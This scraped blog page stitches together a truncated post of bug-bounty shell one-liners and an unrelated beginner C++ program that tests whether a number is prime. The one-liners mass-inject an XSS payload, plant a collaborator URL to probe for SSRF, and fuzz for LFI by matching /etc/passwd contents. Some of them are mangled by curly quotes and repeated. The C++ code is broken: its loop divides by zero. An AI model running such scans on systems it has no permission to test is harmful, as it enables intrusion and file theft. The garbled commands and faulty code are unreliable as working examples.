Bug BOunty Helpful Commands

  cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done >>. to get urls from websites.... waybackurls target.com | tee urlss.txt dalfox file urlss.txt pipe   XSS   cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done SSRF findomain -t example.com -q | httpx -silent -threads 1000 | gau |  grep “=” | qsreplace http://YOUR.burpcollaborator.net LFI Follow this command to find LFI findomain -t example.com -q |  waybackurls |gf lfi | qsreplace FUZZ | while read url ; do ffuf -u $url -mr “root:x” -w ~/wordlist/LFI.txt ; done find JS files on target.com https:/...

Program to find if a Number is Prime or Not Prime in C++ , OOP

Q: Write a function, which accept an integer value as argument, display the message if the integer value is prime otherwise display it is not prime. Write a main program which will call the function by passing an integer value the function. 


Answer : 

#include<iostream>

using namespace std;


int prime(int NUM);


int main(){


     int num, cond;

    cout<<"Enter Number : ";

    cin>>num;

    cond = prime(num);

    if(cond==2){

    cout<<num<<"It is Prime Number ";

}else {

cout<<num<<"It is Not a Prime Number";

}

    return 0;

}

int prime(int NUM){

int a=0;

if(NUM>1){

for(int i=0; i<=NUM; i++){

if(NUM % i==0){

a++;

}else {

a=a;

}

}

}

return (a);

}

Comments

Popular posts from this blog

Very Huge Dorks for SQLi || Web Hacking

How to find index of the Array in C